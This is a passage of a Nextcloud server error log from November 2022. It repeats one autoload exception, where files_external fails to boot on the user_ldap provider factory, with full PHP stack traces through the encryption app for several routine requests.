m","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"yvO63SQYmxwmZY6YD15G","level":4,"time":"2022-11-09T12:55:35+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/search/providers?from=%2Fapps%2Fdashboard%2F","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"eNQVuYlJV2m3NYMQmLYV","level":4,"time":"2022-11-09T12:55:37+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/recommendations/api/recommendations/always","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"hulRMrTJanyHJx0DW2Mq","level":4,"time":"2022-11-09T12:55:37+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/notifications/api/v2/notifications","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"oZKEC4XnpAm18TLP1fYi","level":4,"time":"2022-11-09T12:55:37+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"PUT","url":"/apps/user_status/heartbeat","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all 